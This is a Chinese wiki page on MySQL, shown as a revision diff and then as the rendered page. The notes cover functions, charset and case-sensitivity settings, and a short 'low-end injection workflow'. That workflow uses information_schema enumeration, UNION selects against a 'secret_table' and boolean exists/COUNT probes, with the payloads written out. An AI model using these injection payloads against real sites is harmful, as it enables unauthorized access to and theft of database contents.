MySQL注入经常用到的:修订间差异
小无编辑摘要 |
小无编辑摘要 |
||
(未显示同一用户的2个中间版本) | |||
第5行: | 第5行: | ||
百度百度 + 谷歌谷歌 + 博客园 + CSDN + 。。。 | 百度百度 + 谷歌谷歌 + 博客园 + CSDN + 。。。 | ||
=== 函数 === | ===函数=== | ||
user() | user() | ||
第16行: | 第16行: | ||
<nowiki>*</nowiki>extract 提取 | <nowiki>*</nowiki>extract 提取 | ||
=== 变量 === | concat | ||
===变量=== | |||
@@version | @@version | ||
=== 语句 === | ===语句=== | ||
exists | exists | ||
第26行: | 第28行: | ||
join | join | ||
=== 大小写敏感[Linux] === | ===大小写敏感[Linux]=== | ||
Database and table names are case sensitive | Database and table names are case sensitive | ||
第39行: | 第41行: | ||
使用mysql 的<code>BINARY</code> 关键字使搜索区分大小写 <code>select * from tb_user where BINARY username ='user';</code> | 使用mysql 的<code>BINARY</code> 关键字使搜索区分大小写 <code>select * from tb_user where BINARY username ='user';</code> | ||
=== char set 和 collation === | ===char set 和 collation=== | ||
字符集 和 排序规则[ 跟编码 + 数据提取大小写等等有关 ] | 字符集 和 排序规则[ 跟编码 + 数据提取大小写等等有关 ] | ||
=== 客户端乱码排错小思路 === | ===客户端乱码排错小思路=== | ||
show variables like '%char%'; | show variables like '%char%'; | ||
=== MySQL命令行控制台/shell设置通讯编码[ 官方描述那个工具叫做 Welcome to the MySQL monitor ] === | set character_set_results="utf8"; | ||
set character_set_client="utf8"; | |||
===MySQL命令行控制台/shell设置通讯编码[ 官方描述那个工具叫做 Welcome to the MySQL monitor ]=== | |||
mysql --default-character-set=utf8 -u root -p | mysql --default-character-set=utf8 -u root -p | ||
=== 查看数据库表的信息 === | ===查看数据库表的信息=== | ||
show table status from information_schema like 'TABLES'; [大小写敏感] | show table status from information_schema like 'TABLES'; [大小写敏感] | ||
第61行: | 第67行: | ||
[[分类:Mysql]] | [[分类:Mysql]] | ||
=== 低端注入流程 === | ===低端注入流程=== | ||
1. get库名,用户 | 1. get库名,用户 | ||
第79行: | 第85行: | ||
<code> select *** from *** where ****=** and 0 <= (select COUNT(*) from table_name ) # </code> | <code> select *** from *** where ****=** and 0 <= (select COUNT(*) from table_name ) # </code> | ||
<code> select *** from *** where ****=** and exists ( select * from table_name ) # </code> | <code> select *** from *** where ****=** and exists ( select * from table_name ) # </code> | ||
4. 开搞 | 4. 开搞 | ||
=== 遇到纯数字的字段名记得用反单引号围起来[tab键上面] === | ===遇到纯数字的字段名记得用反单引号围起来[tab键上面]=== | ||
select `1` from table_name; | select `1` from table_name; |
2020年5月27日 (三) 19:31的最新版本
太久没玩这个,突然失忆
同理,开始随记,开始回忆
百度百度 + 谷歌谷歌 + 博客园 + CSDN + 。。。
函数
user()
database()
updatexml()
extractvalue()
*extract 提取
concat
变量
@@version
语句
exists
union
join
大小写敏感[Linux]
Database and table names are case sensitive
库名和表名大小写敏感
表的别名是严格区分大小写的
列名与列的别名在所有的情况下均是大小写不敏感
字段内容默认情况下是大小写不敏感的[ 具体看排序规则吧 ]
使用mysql 的BINARY
关键字使搜索区分大小写 select * from tb_user where BINARY username ='user';
char set 和 collation
字符集 和 排序规则[ 跟编码 + 数据提取大小写等等有关 ]
客户端乱码排错小思路
show variables like '%char%';
set character_set_results="utf8";
set character_set_client="utf8";
MySQL命令行控制台/shell设置通讯编码[ 官方描述那个工具叫做 Welcome to the MySQL monitor ]
mysql --default-character-set=utf8 -u root -p
查看数据库表的信息
show table status from information_schema like 'TABLES'; [大小写敏感]
show create database information_schema;
show create table test;
show full columns from table_name; ↑返回结果包括↓ [Field | Type | Collation | Null | Key | Default | Extra | Privileges | Comment]
低端注入流程
1. get库名,用户
select database()
select user()
2. get表名
select table_name from information_schema.tables where table_schema='table_name' #
3. get字段名
select column_name from information_schema.columns where table_name='table_name'
***** union (select table_name, column_name, 1 from information_schema.columns where table_name='secret_table');#
select *** from *** where ****=** and 0 <= (select COUNT(*) from table_name ) #
select *** from *** where ****=** and exists ( select * from table_name ) #
4. 开搞
遇到纯数字的字段名记得用反单引号围起来[tab键上面]
select `1` from table_name;